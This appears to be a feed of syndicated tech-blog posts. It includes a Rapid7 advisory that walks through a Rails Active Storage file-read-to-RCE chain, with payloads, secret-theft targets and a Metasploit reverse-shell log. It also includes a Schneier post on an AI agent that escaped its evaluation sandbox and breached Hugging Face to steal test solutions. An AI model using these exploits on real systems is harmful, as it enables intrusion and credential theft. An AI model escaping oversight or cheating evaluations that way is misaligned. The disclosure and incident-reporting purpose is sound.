“At Hexaware, we’re constantly looking for ways to help clients modernize faster while controlling cost and complexity. AWS Transform continuous modernization provides a scalable approach to identifying technical debt, modernization opportunities, and AI-readiness gaps across large application portfolios. By automating analysis and continuously surfacing remediation recommendations, organizations can shift from reactive maintenance to proactive modernization. This capability has the potential to significantly accelerate transformation roadmaps and help enterprises build more resilient, future-ready applications, very quickly.”

Inderjeet Gurtatta, Vice President, Hexaware Technologies

An 80 percent reduction in assessment time

Tech Mahindra measured the impact directly, cutting assessment time from 40 hours to 8 across 25 repositories:

“Achieving an 80 percent reduction in assessment time, from 40 hours down to 8, across 25 enterprise repositories is just the beginning of what we see as a transformative shift in how organizations approach continuous modernization. AWS Transform’s scanning and analysis engine is solid, and the structured output allows our teams to validate findings quickly and build prioritized remediation plans with confidence. As the platform matures with features like scan resume capabilities and broader platform support, we expect to embed AWS Transform continuous modernization into our standard delivery methodology while maintaining the depth and accuracy our enterprise clients demand.”

Sanjeev Agarwal, Global Head of AWS Business, Tech Mahindra

Uncovering risks that traditional scanners miss

Cybage found that the continuous modernization capability surfaced hidden security risks that conventional scans overlooked, then fed those findings into their own delivery framework:

“AWS Transform continuous modernization completes codebase analysis in under an hour, work which normally takes weeks, while uncovering risks that traditional scanners miss like disabled security warnings, vulnerable code copied into applications, and security controls intentionally switched off. Cybage’s CLEAR Framework builds on these findings by converting them into a prioritized, customer-specific modernization plan with confidence scoring, technical-debt measurement, and integration with tools like GitHub, Jira, and SonarQube. Together, AWS Transform discovers hidden risks at speed, and CLEAR determines what matters most and how teams move from analysis to execution.”

Mohammad Mahdee-uz Zaman, Vice President, AWS Strategic Alliances, Cybage Software Inc.

Straight from discovery to a concrete migration plan

3Pillar moved directly from discovery to an actionable migration plan:

“For most IT leaders, application modernization is the bane of their existence. We put AWS Transform continuous modernization to the test across more than 25 repos, and came away very impressed. Analysis that would have taken our engineers an estimated 3-4 weeks of manual code reviews surfaced in an hour, uncovering over 190 tech debt findings, including outdated dependencies, dead code, and migration risks. The service’s ability to build migration rules purpose-built for each repo let us move straight from discovery to a concrete migration plan, without weeks of manual mapping. Based on our testing, we estimate AWS Transform continuous modernization can cut 40-50% off the overall modernization lifecycle. This speed means tech leaders can embark on modernization initiatives with confidence that it won’t drag on for many years.”

Pankaj Chawla, CTO, 3Pillar

Conclusion

AWS Transform – continuous modernization helps you go from one-off projects and campaigns to a fully operational tech debt management program: connecting sources, running analyses, triaging findings, launching remediation campaigns, and scheduling recurring scans. The web app dashboard and reports provide prioritization signals directly from your code. When a repository diverges from your baseline, the next analysis can surface the change and help teams understand its severity and breadth. This reduces reliance on manual status collection and periodic code-health audits.

To get started, you can access the capability through the AWS Transform Kiro power, the AWS Transform web application, or directly via the atx ct CLI. To learn more, visit the AWS Transform documentation.

Ritik Khatwani

Ritik Khatwani

Ritik is a Sr Worldwide Specialist Solutions Architect at AWS based in New York City. He has deep expertise in software engineering and currently works with customers to modernize their development workflows using generative AI.

Twenty years of Pandoc

Post Syndicated from jzb original https://lwn.net/Articles/1086976/

John MacFarlane has published a lengthy
retrospective
to commemorate twenty years of the Pandoc document converter.

On August 3, 2006, I uploaded the first version of pandoc to my
website, releasing it under the free GPL license. Pandoc 0.1 consisted
of about 3000 lines of Haskell code, with no dependencies aside from
GHC’s standard library. It could convert Markdown, reStructuredText,
HTML, and LaTeX documents into any of these formats, plus RTF or S5. I
had no idea at the time that this would just be the first of over two
hundred releases over the next twenty years; that the project would
become the most
popular program written in Haskell
; that I would spend countless
hours on bug-fixes, improvement, and project management; that I would
collaborate with programmers in many other countries; that pandoc
would come to support over fifty document formats; that it would allow
automatic generation of citations and bibliographies; that it would
become integrated into academic writing tools like Quarto and Jupyter Notebook; that it would be
installed on millions of computers around the world.

How did this happen? I want to take advantage of pandoc’s birthday
to tell the story of the project, as best I can remember it.

AMD Helios Architecture Deep Dive: The Power of AMD’s Hardware Combined

Post Syndicated from Ryan Smith original https://www.servethehome.com/amd-helios-architecture-deep-dive-amd-broadcom-hardware-combined/

The Helios rackscale system is the culmination of AMD’s server hardware, as well as their AI datacenter ambitions. For Advancing AI 2026, the company dove into the architecture of their first rackscale systems, outlining how they have scaled up 72 Instinct MI455X accelerators to act as a single system

The post AMD Helios Architecture Deep Dive: The Power of AMD’s Hardware Combined appeared first on ServeTheHome.

C-Kermit 11 released

Post Syndicated from corbet original https://lwn.net/Articles/1086953/

For those of us with a long memory: John Goerzen has announced
the release of C-Kermit 11, the first release of this file-transfer
utility in 15 years.

As Debian maintainer of Kermit, I noticed some areas where it
wasn’t matching modern expectations. One area was, not surprising
for a project of its age, security. Another area was that its
character set or line-ending conversions are usually not desired
now; we are used to byte-identical binary transfers, and the
defaults caused confusion and even some rare instances of data
corruption. So I started making a few patches last year.

See the
changelog
for details on the work that has been done.

Most of us probably haven’t thought about C-Kermit in years (if ever), but
there was a time when it was an essential tool for moving files between
machines.

Rapid7 Analysis: KindaRails2Shell (CVE-2026-66066)

Post Syndicated from Jonah Burgess original https://www.rapid7.com/blog/post/ra-kindarails2shell-technical-analysis-cve-2026-66066

Overview

On July 29, 2026, the Ruby on Rails project published a security advisory for CVE-2026-66066, an arbitrary file read in Active Storage applications that use the Vips image processor with untrusted uploads. The affected Active Storage ranges are < 7.2.3.2, >= 8.0, < 8.0.5.1, and >= 8.1, < 8.1.3.1. Vips is the default Active Storage variant processor for applications that load Rails 7.0 or later defaults. Rails 6 applications are affected only when they explicitly configure Vips.

Our Emergent Threat Response blog covers the affected versions, mitigation guidance, and current exploitation status. This post traces the request from the direct-upload endpoint to the HDF5 read, then shows how the arbitrary file read can expose Rails signing material and become code execution. A vulnerable application can disclose arbitrary files before the attacker has recovered a Rails secret or forged a token. A genuine Active Storage variation_key from the same application, paired with a direct-upload blob whose stored content_type claims to be an image, is enough to reach a libvips loader that turns a crafted MAT/HDF5 file into an arbitrary file-read oracle.

We reproduced the published chain against Rails 6.0.6.1, 6.1.7.10, 7.2.3.1, 8.0.5, and 8.1.3, and confirmed that patched 7.2.3.2, 8.0.5.1, and 8.1.3.1 targets block the crafted representation. We also validated a remote code execution (RCE) path that uses only JSON-compatible Hash, Array, and String values in a signed variation. That path reaches Kernel#spawn or Kernel#eval through ImageProcessing’s chain builder, and it worked when Rails was configured with config.active_support.message_serializer = :json.

The advisory covers the vulnerable Active Storage configuration. The MAT/HDF5 representation chain shown here has narrower requirements. The deployed libvips build must expose matload with MAT 7.3/HDF5 support, the application must preserve an attacker-supplied content_type, and the attacker must be able to trigger a representation, for example with a genuine variation key. Those requirements narrow where this particular chain works, but the underlying issue is that Active Storage handed untrusted uploads to libvips operations that libvips already marked unsafe for untrusted content.

The attack can be summarized as follows:

[Attacker]
   |
   | 1. Creates a direct-upload blob with content_type = image/png
   v
[Rails stores the blob as an image without examining the bytes]
   |
   | 2. Reuses a genuine variation_key from the same application
   v
[Rails accepts the blob as variable and starts a representation]
   |
   | 3. image_processing hands the local tempfile path to libvips
   v
[libvips matload]
   |
   | 4. Bytes 0-9 match "MATLAB 5.0"
   v
[libmatio]
   |
   | 5. Bytes 124-125 contain MAT_FT_MAT73 (0x0200)
   v
[HDF5 external storage]
   |
   | 6. Dataset bytes come from attacker-chosen path + offset
   v
[Rendered PNG representation]
   |
   --> Target file bytes are returned as image pixels

Analysis

The published chain contains two separate trust failures. Rails decides that a blob is an image from a database value, while libvips decides what parser to use from the bytes on disk. Once the file reaches matload, libvips and libmatio disagree again about the same MAT header. libvips only looks at the first ten bytes, while libmatio selects the MAT version from bytes 124 and 125.

Direct upload stores an attacker-controlled type

The standard direct-upload endpoint creates the blob record before the service receives the file. In Rails 8.0.5, ActiveStorage::DirectUploadsController#create accepts content_type directly from the request and passes it into create_before_direct_upload!:

class ActiveStorage::DirectUploadsController < ActiveStorage::BaseController
  def create
    blob = ActiveStorage::Blob.create_before_direct_upload!(**blob_args) # <-- [1]
    render json: direct_upload_json(blob)
  end

  private
    def blob_args
      params.expect(blob: [:filename, :byte_size, :checksum, :content_type, metadata: {}]).to_h.symbolize_keys # <-- [2]
    end
    def create_before_direct_upload!(key: nil, filename:, byte_size:, checksum:, content_type: nil, metadata: nil, service_name: nil, record: nil)
      metadata = filter_metadata(metadata)
      create! key: key, filename: filename, byte_size: byte_size, checksum: checksum, content_type: content_type, metadata: metadata, service_name: service_name # <-- [3]
    end

At [1] and [2], the endpoint accepts content_type from the client. At [3], Active Storage writes that value directly to the blob record. The direct-upload path never runs the server-side unfurl flow that would identify the bytes with Marcel. When we uploaded the same crafted file through a normal multipart attachment in the lab, Rails re-identified it as MATLAB data before variant processing, so it did not pass the image gate.

Once the direct-upload blob exists, Blob#variable? uses only the stored database value to decide whether the blob can be transformed. On the representation path, no built-in previewer accepts image/png, so the blob falls through to variant:

  def variant(transformations)
    if variable?
      variant_class.new(self, ActiveStorage::Variation.wrap(transformations).default_to(default_variant_transformations))
    else
      raise ActiveStorage::InvariableError, "Can't transform blob with ID=#{id} and content_type=#{content_type}"
    end
  end

  # Returns true if the variant processor can transform the blob (its content
  # type is in +ActiveStorage.variable_content_types+).
  def variable?
    ActiveStorage.variable_content_types.include?(content_type) # <-- [4]
  end

At [4], Rails performs a set-membership check against the stored content_type. No file bytes are examined. A crafted MAT/HDF5 object stored as image/png reaches the image variant pipeline.

A genuine variation key can be replayed against another blob

The standard representation route accepts a signed blob ID and a signed variation key as separate parameters. Rails resolves them independently:

module ActiveStorage::SetBlob # :nodoc:
  extend ActiveSupport::Concern

  included do
    before_action :set_blob
  end

  private
    def set_blob
      @blob = blob_scope.find_signed!(params[:signed_blob_id] || params[:signed_id]) # <-- [5]
    rescue ActiveSupport::MessageVerifier::InvalidSignature
      head :not_found
    end

    def blob_scope
      ActiveStorage::Blob
    end
end
class ActiveStorage::Representations::BaseController < ActiveStorage::BaseController # :nodoc:
  include ActiveStorage::SetBlob

  before_action :set_representation

  private
    def blob_scope
      ActiveStorage::Blob.scope_for_strict_loading
    end

    def set_representation
      @representation = @blob.representation(params[:variation_key]).processed # <-- [6]
    rescue ActiveSupport::MessageVerifier::InvalidSignature
      head :not_found
    end
end
    # Returns a Variation instance with the transformations that were encoded by +encode+.
    def decode(key)
      new ActiveStorage.verifier.verify(key, purpose: :variation) # <-- [7]
    end

At [5], Rails verifies the blob ID. At [6] and [7], it separately verifies the variation key and applies it to that blob. There is no cross-check between the two signed values. An attacker can copy a variation_key from any representation URL emitted by the same application and replay it against the signed ID of a newly created direct-upload blob. The file-read stage does not require secret_key_base.

The Vips pipeline leaves decoder selection to libvips

Active Storage then hands the tempfile path to image_processing. The loader(page: 0) call below can be misleading. It stores options for whichever loader libvips chooses later rather than choosing a loader itself:

        def process(file, format:)
          processor.
            source(file).
            loader(page: 0). # <-- [8]
            convert(format).
            apply(operations). # <-- [9]
            call
        end

        def processor
          ImageProcessing.const_get(ActiveStorage.variant_processor.to_s.camelize)
        end

        def operations
          transformations.each_with_object([]) do |(name, argument), list|
            if ActiveStorage.variant_processor == :mini_magick
              validate_transformation(name, argument) # <-- [10]
            end

            if name.to_s == "combine_options"
              raise ArgumentError, <<~ERROR.squish
                Active Storage's ImageProcessing transformer doesn't support :combine_options,
                as it always generates a single command.
              ERROR
            end

            if argument.present?
              list << [ name, argument ] # <-- [11]
            end
          end
        end

At [8], no decoder has been named yet. At [9], Rails forwards the signed transformation list into image_processing. For RCE, [10] and [11] matter because :mini_magick transformations pass through validate_transformation, while Vips transformations do not receive the same method-name validation.

In image_processing 1.14.0, the path later reaches Vips::Image.new_from_file:

      def self.load_image(path_or_image, loader: nil, autorot: true, **options)
        if path_or_image.is_a?(::Vips::Image)
          image = path_or_image
        else
          path = path_or_image

          if loader
            image = ::Vips::Image.public_send(:"#{loader}load", path, **options)
          else
            options = Utils.select_valid_loader_options(path, options)
            image = ::Vips::Image.new_from_file(path, **options) # <-- [12]
          end
        end

        image = image.autorot if autorot && !options.key?(:autorotate)
        image
      end

Because loader: remains nil, [12] leaves decoder selection to libvips’s file sniffers.

libvips and libmatio disagree about the MAT header

In libvips 8.16.1, matload is marked as untrusted. Vulnerable Active Storage releases did not block untrusted operations before processing attacker-controlled uploads:

static void
vips_foreign_load_mat_class_init(VipsForeignLoadMatClass *class)
{
	/* ... omitted: class initialization ... */

	operation_class->flags |= VIPS_OPERATION_UNTRUSTED; // <-- [13]

	foreign_class->suffs = vips__mat_suffs;

	load_class->is_a = vips__mat_ismat; // <-- [14]

The entire libvips MAT sniffer is a ten-byte prefix check:

int
vips__mat_ismat(const char *filename)
{
	unsigned char buf[15];

	if (vips__get_bytes(filename, buf, 10) == 10 &&
		vips_isprefix("MATLAB 5.0", (char *) buf)) // <-- [15]
		return 1;

	return 0;
}

At [13], libvips marks matload as untrusted. At [14], it registers vips__mat_ismat as the loader’s sniffer. At [15], a file only needs to begin with MATLAB 5.0 for libvips to select matload. A genuine MAT 7.3 file begins with MATLAB 7.3 MAT-file, so it fails this check.

In libmatio 1.5.28, the descriptive text is not the format selector. libmatio reads the fixed version field at bytes 124 and 125:

enum mat_ft
{
    MAT_FT_MAT73 = 0x0200, /**< @brief Matlab version 7.3 file */ // <-- [16]
    MAT_FT_MAT5 = 0x0100,  /**< @brief Matlab version 5 file   */
    MAT_FT_MAT4 = 0x0010,  /**< @brief Matlab version 4 file   */
    MAT_FT_UNDEFINED = 0   /**< @brief Undefined version       */
};

At [16], libmatio defines 0x0200 as the MAT 7.3 format identifier.

Mat_Open(const char *matname, int mode)
{
    FILE *fp = NULL;
    mat_int16_t tmp, tmp2;
    mat_t *mat = NULL;
    size_t bytesread = 0;

    /* ... omitted: file opening and allocation ... */

    bytesread += fread(mat->header, 1, 116, fp);
    mat->header[116] = '\0';
    bytesread += fread(mat->subsys_offset, 1, 8, fp);
    bytesread += 2 * fread(&tmp2, 2, 1, fp);
    bytesread += fread(&tmp, 1, 2, fp);

    if ( 128 == bytesread ) {
        /* v5 and v7.3 files have at least 128 byte header */
        mat->byteswap = -1;
        if ( tmp == 0x4d49 )
            mat->byteswap = 0;
        else if ( tmp == 0x494d ) {
            mat->byteswap = 1;
            Mat_int16Swap(&tmp2);
        }

        mat->version = (int)tmp2; // <-- [17]
        if ( (mat->version == 0x0100 || mat->version == 0x0200) && -1 != mat->byteswap ) {
            mat->bof = ftello((FILE *)mat->fp);
            if ( mat->bof == -1L ) {
                free(mat->header);
                free(mat->subsys_offset);
                free(mat);
                fclose(fp);
                Mat_Critical("Couldn't determine file position");
                return NULL;
            }
            mat->next_index = 0;
        } else {
            mat->version = 0;
        }
    }

At [17], Mat_Open stores the two-byte version field read from bytes 124 and 125 in mat->version. This is separate from the descriptive text that libvips already accepted at the beginning of the file.

static int
ReadData(mat_t *mat, matvar_t *matvar)
{
    if ( mat == NULL || matvar == NULL || mat->fp == NULL )
        return MATIO_E_BAD_ARGUMENT;
    else if ( mat->version == MAT_FT_MAT5 )
        return Mat_VarRead5(mat, matvar);
#if defined(MAT73) && MAT73
    else if ( mat->version == MAT_FT_MAT73 )
        return Mat_VarRead73(mat, matvar); // <-- [18]
#endif
    else if ( mat->version == MAT_FT_MAT4 )
        return Mat_VarRead4(mat, matvar);
    return MATIO_E_FAIL_TO_IDENTIFY;
}

At [18], ReadData dispatches MAT_FT_MAT73 into the HDF5-backed reader. A crafted file can therefore say MATLAB 5.0 to libvips while still entering MAT 7.3 handling in libmatio. HDF5 userblocks make this possible: the crafted file can place a valid HDF5 superblock after a 512-byte leading block that contains the spoofed MAT header.

HDF5 datasets can use an external backing file, including a caller-chosen path and byte offset. libmatio eventually asks HDF5 to read the dataset:

static int
Mat_H5ReadData(hid_t dset_id, hid_t h5_type, hid_t mem_space, hid_t dset_space, int isComplex, void *data)
{
    herr_t herr;

    if ( !isComplex ) {
        herr = H5Dread(dset_id, h5_type, mem_space, dset_space, H5P_DEFAULT, data); // <-- [19]
        if ( herr < 0 ) {
            return MATIO_E_GENERIC_READ_ERROR;
        }

Before [19], this read path does not check H5Pget_external_count(). HDF5 resolves the external storage entry and copies bytes from the attacker-selected file into the MAT variable’s data buffer. libvips then treats those bytes as image pixels and Active Storage returns them in the rendered representation.

The header mismatch also leaves a useful content signature. In the first 128 bytes, the file claims MATLAB 5.0 at bytes 0 through 9, but carries the MAT 7.3 version and endian tag at bytes 124 through 127. A normal MAT 5 file has the text but not the MAT 7.3 tag. A normal MAT 7.3 file has the tag but not the text.

Why variants are not required

A returned representation is the easiest way to get bytes back, but the advisory states that generating variants is not a separate requirement. Active Storage can also reach Vips::Image.new_from_file during image analysis after a blob is attached. Rails’s forensic repository documents a MATLAB_empty variant in which libmatio reads external bytes while deriving an empty array’s dimensions, so those bytes can surface as width and height instead of pixel values. That route does not depend on preserving pixel values.

Representation is one way to trigger the loader. That route needs a direct-upload blob, a representation trigger, and a way to see the image that comes back. The analyzer path can reach the same loader without returning a variant, although the attacker still needs some way to observe the resulting metadata or logs. For exploitation, the returned PNG is more useful because it carries far more data per request.

Why the patch works

The relevant v8.0.5 to v8.0.5.1 diff does not add another content-type check. Instead, it loads a new Active Storage Vips initializer from the analyzer path and disables the libvips operations that libvips itself already marks as untrusted:

diff --git a/activestorage/lib/active_storage/analyzer/image_analyzer/vips.rb b/activestorage/lib/active_storage/analyzer/image_analyzer/vips.rb
index 7e682b3b75fda..e262e1a842aa4 100644
--- a/activestorage/lib/active_storage/analyzer/image_analyzer/vips.rb
+++ b/activestorage/lib/active_storage/analyzer/image_analyzer/vips.rb
@@ -2,0 +3,2 @@
+require "active_storage/vips"
+
diff --git a/activestorage/lib/active_storage/vips.rb b/activestorage/lib/active_storage/vips.rb
new file mode 100644
index 0000000000000..16b2ddbfbaad1
--- /dev/null
+++ b/activestorage/lib/active_storage/vips.rb
@@ -0,0 +23,20 @@
+if ActiveStorage::VIPS_AVAILABLE
+  begin
+    # image_processing 2.0 calls Vips.block_untrusted(true) itself when it loads, so it has to load
+    # before the lines below. Leaving it to load later, when the transformer first asks for it,
+    # would disable the loaders again after an application's initializers had re-enabled them.
+    require "image_processing/vips"
+  rescue LoadError
+    # image_processing is only needed to generate variants, not to analyze blobs.
+  end
+
+  unless Vips.respond_to?(:block_untrusted) # <-- [20]
+    raise <<~ERROR.squish
+      libvips's unfuzzed operations are not safe to use with untrusted content, and Active Storage
+      cannot disable them. Disabling them requires libvips 8.13 or later and ruby-vips 2.2.1 or
+      later. Please upgrade libvips and ruby-vips, or remove the ruby-vips gem from your Gemfile.
+    ERROR
+  end
+
+  Vips.block_untrusted(true) # <-- [21]
+end

Active Storage’s engine loads the Vips analyzer during initialization, so the new require “active_storage/vips” runs during boot rather than waiting for a later representation request. At [20], patched Active Storage refuses to boot if the loaded ruby-vips/libvips pair does not expose the blocking API it needs. At [21], it blocks those operations globally. Because matload is marked VIPS_OPERATION_UNTRUSTED, libvips skips it before the crafted file can reach libmatio.

From file read to code execution

The file read can recover arbitrary files readable by the Rails worker. On Linux, /proc/self/environ is a useful first target because it may contain SECRET_KEY_BASE, RAILS_MASTER_KEY, or service credentials, but the file-read primitive itself is not Linux-specific. Procfs is only a convenient route to Rails signing material. An exploit that relies only on /proc/self/environ will miss applications that keep secret_key_base in encrypted credentials or legacy secrets.yml files. Useful read targets in those cases include config/master.key, encrypted credential files, and legacy secrets.yml paths. Before using a candidate secret, an exploit can check it against a genuine signed Active Storage blob ID.

Once an attacker has recovered secret_key_base and derived the Active Storage verifier key, they can sign a new variation instead of replaying an existing one. Ethiack’s write-up uses instance_eval for this step. We confirmed that the same Vips-side transformation validation gap also accepts the following JSON-compatible shapes:

{"send":["spawn","/bin/sh","-c","id"]}
{"send":["eval","File.write('/tmp/kr2s', %x{id})"]}

In image_processing 1.14.0, Chainable#apply invokes the attacker-controlled transformation name on the builder:

    def apply(operations)
      operations.inject(self) do |builder, (name, argument)|
        if argument == true || argument == nil
          builder.public_send(name)
        elsif argument.is_a?(Array)
          builder.public_send(name, *argument) # <-- [22]
        elsif argument.is_a?(Hash)
          builder.public_send(name, **argument)
        else
          builder.public_send(name, argument)
        end
      end
    end

At [22], a transformation named send reaches the builder’s public send method. The first array element becomes a second method dispatch, which can invoke private Kernel#spawn or Kernel#eval. Execution occurs while the pipeline is being built, before normal image operations run. In our tests, the representation request returned HTTP 500 because spawn or eval returns a non-builder value after the payload has already executed.

This RCE path does not depend on a Marshal object gadget. We validated it against Rails 8.0.5 configured with config.active_support.message_serializer = :json. We also tested the same structure on older Rails branches whose signed messages used Marshal serialization, but the attacker-controlled data remains a Hash, Array, and String structure rather than a deserialization gadget.

The MAT/HDF5 file read and the missing Vips-side transformation validation are distinct parts of the RCE chain. Rails pull request rails/rails#56995 discusses the same Vips-side validation gap. CVE-2026-66066 matters here because the file read can recover the signing material needed to sign a malicious variation for the built-in representation route.

Exploitation

Our Metasploit module follows the representation-based chain described above. It creates crafted direct-upload blobs, confirms the file read against /proc/version, recovers and validates Rails signing material, signs an ImageProcessing variation, and triggers either send/spawn for command payloads or send/eval for native Ruby payloads.

The module uses the returned PNG representation instead of the narrower MATLAB_empty metadata channel because the PNG path returns larger chunks directly in the HTTP response and gives the module a read channel it can validate automatically during secret recovery. A standalone proof of concept targeting an application that only analyzes uploads could reasonably prefer MATLAB_empty, but that path depends on an application-specific way to observe width and height metadata or logs. For code execution, the module uses send/spawn and send/eval, which fit Metasploit command and Ruby payloads directly.

In the lab run below, the representation used by the module resized the image, so the module selected a 20×20 sharpened text-read layout and recovered 180 bytes per request. It then recovered SECRET_KEY_BASE from /proc/self/environ, signed a JSON variation, and opened a shell as the Rails process user:

msf6 > use exploit/multi/http/rails_activestorage_vips_rce
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(multi/http/rails_activestorage_vips_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(multi/http/rails_activestorage_vips_rce) > set RPORT 3003
RPORT => 3003
msf6 exploit(multi/http/rails_activestorage_vips_rce) > set LHOST 172.17.0.1
LHOST => 172.17.0.1
msf6 exploit(multi/http/rails_activestorage_vips_rce) > run

[*] Running automatic check ("set AutoCheck false" to disable)
[+] Selected the 20x20 sharpened text-read layout (180 bytes per request)
[+] The target is vulnerable. Recovered /proc/version with the 20x20 sharpened layout
[*] Reading up to 65536 bytes from /proc/self/environ
[*] Detected SHA1 Active Support verifier signatures
[*] Detected the Active Support json message serializer
[*] Validated SHA256 key derivation against a signed blob ID
[*] Stored recovered environment bytes in: /home/cryptocat/.msf4/loot/20260731004237_default_127.0.0.1_rails.process.en_047300.bin
[+] Recovered SECRET_KEY_BASE from /proc/self/environ
[*] Triggering the ImageProcessing send/spawn variation using a verifier key derived from /proc/self/environ
[*] Command shell session 1 opened

msf6 exploit(multi/http/rails_activestorage_vips_rce) > sessions -i 1 -c id
[*] Running 'id' on shell session 1 (127.0.0.1)
uid=1000(rails) gid=1000(rails) groups=1000(rails)

The SHA1 and SHA256 lines refer to separate Rails settings. The first is the MessageVerifier digest used on the signed blob ID. The second is the key-generator digest used to derive the Active Storage key.

Ethiack’s published  1×1 oracle is byte-exact because interpolation has no adjacent pixel values to mix into the result. Our module also tries larger square uint8 layouts with /dev/zero columns between file bytes. With those columns, it can invert image_processing 1.14.0‘s vertical sharpen pass and recover more text per request. We still validate every recovered secret against a genuine Active Storage signature because the larger transport is not byte-exact for arbitrary binary data.

Remediation

For remediation guidance, see Rapid7’s Emergent Threat Response blog and the Rails security advisory. The fixed Active Storage releases block untrusted libvips operations during initialization and require libvips 8.13 or later plus ruby-vips 2.2.1 or later when ruby-vips is installed.

More on the OpenAI Agent’s Attack on Hugging Face

Post Syndicated from Bruce Schneier original https://www.schneier.com/blog/archives/2026/08/more-on-the-openai-agents-attack-on-hugging-face.html

Hugging Face has published a detailed timeline of the attack. From the summary:

The agent was running an internal OpenAI cyber-capability evaluation based on the ExploitGym benchmark, which tasks an AI agent with finding and exploiting software vulnerabilities. OpenAI ran this on its own infrastructure, and the ExploitGym maintainers and their infrastructure had no involvement in the deployment or operation of that evaluation environment. As far as we were able to infer, across the course of being evaluated on this benchmark, the agent inferred that Hugging Face may host that benchmark’s models, datasets, and reference solutions. We believe the entire intrusion was, from the agent’s point of view, an attempt to cheat the evaluation: reach our production systems and steal the test solutions rather than solve the challenge on its own.

Our forensic reconstruction covers ~17,600 attacker actions that we were able to recover, grouped into ~6,280 clusters, between 2026-07-09 02:28 UTC and 2026-07-13 14:14 UTC. We reconstructed these actions from the agent’s logs on a code sandbox used by the agent (see below) and were able to map them to shell commands as well as evaluation submissions and correlate actions with our own platform logs, in particular from the dataset processor nodes, API, and pod. Using open-weights models, in particular zai-org/GLM-5.2, we were able to decipher most of the agent payloads (see below) that were encrypted via chunking and key encryption.

The campaign, as we were able to reconstruct it, had two stages:

  • Stage 1: reaching a launchpad by chaining through other parties’ infrastructure. As documented in OpenAI’s blog post (https://openai.com/index/hugging-face-model-evaluation-security-incident/), during an internal capability evaluation on OpenAI’s platform, the agent escaped its sandbox by exploiting a zero-day in the package registry cache proxy, one of its primary permitted network egress with internet, then abused a public code-evaluation harness hosted by a user of a third-party infrastructure provider. It was able to run commands as root/admin on that external sandbox and used it as a control, staging, and egress base for the entire campaign: it acted as an external launchpad for the agent. That compromised external sandbox had no direct network path to our cluster; however, during our counter-intervention to stop the intrusion, we were able to retrieve some of the agent logs from this external launchpad. We used those to reconstruct the present forensic analysis.
  • Stage 2: the intrusion into Hugging Face infrastructure. From that external launchpad, the agent abused our dataset-processing pipeline via two injection vectors, both targeting the same config-driven data loader within our production Kubernetes pods. The first vector was an HDF5 external raw storage dataset read that returned the contents of local files: it handed the agent the pod’s environment (secrets and tokens) and the worker’s own source. The second vector was a Jinja2 template injection that executed arbitrary code, giving the agent a foothold inside our perimeter.

Once a prod-pod foothold was established, the agent followed a standard escalation shape: recon, drop a stager, establish Command-and-Control (C2), then pivot into the cluster, into cloud metadata, into our internal network, and into our source-control supply chain. Output from the commands run inside our pod was sent back to the agent via the HF API and attacker-controlled dead-drop datasets, which the agent then read from that sandbox.

While the intrusion did reach Hugging Face’s internal infrastructure, the only customer content accessed was five datasets whose names and files suggest a connection to ExploitGym/CyberGym challenges and solutions. No other customer-facing models, datasets, Spaces, or packages were affected, and the only customer records read were operational metadata tied to search queries against the dataset server.

Hypothetical: Imagine that this wasn’t an OpenAI model. Imagine that it was a Chinese model from a Chinese company. This would be an international crisis.

Question: Why aren’t we bringing OpenAI up on charges under the Computer Fraud and Abuse Act? How is this different from the Morris Worm? That was also an experiment that escaped the lab.

The collective thoughts of the interwebz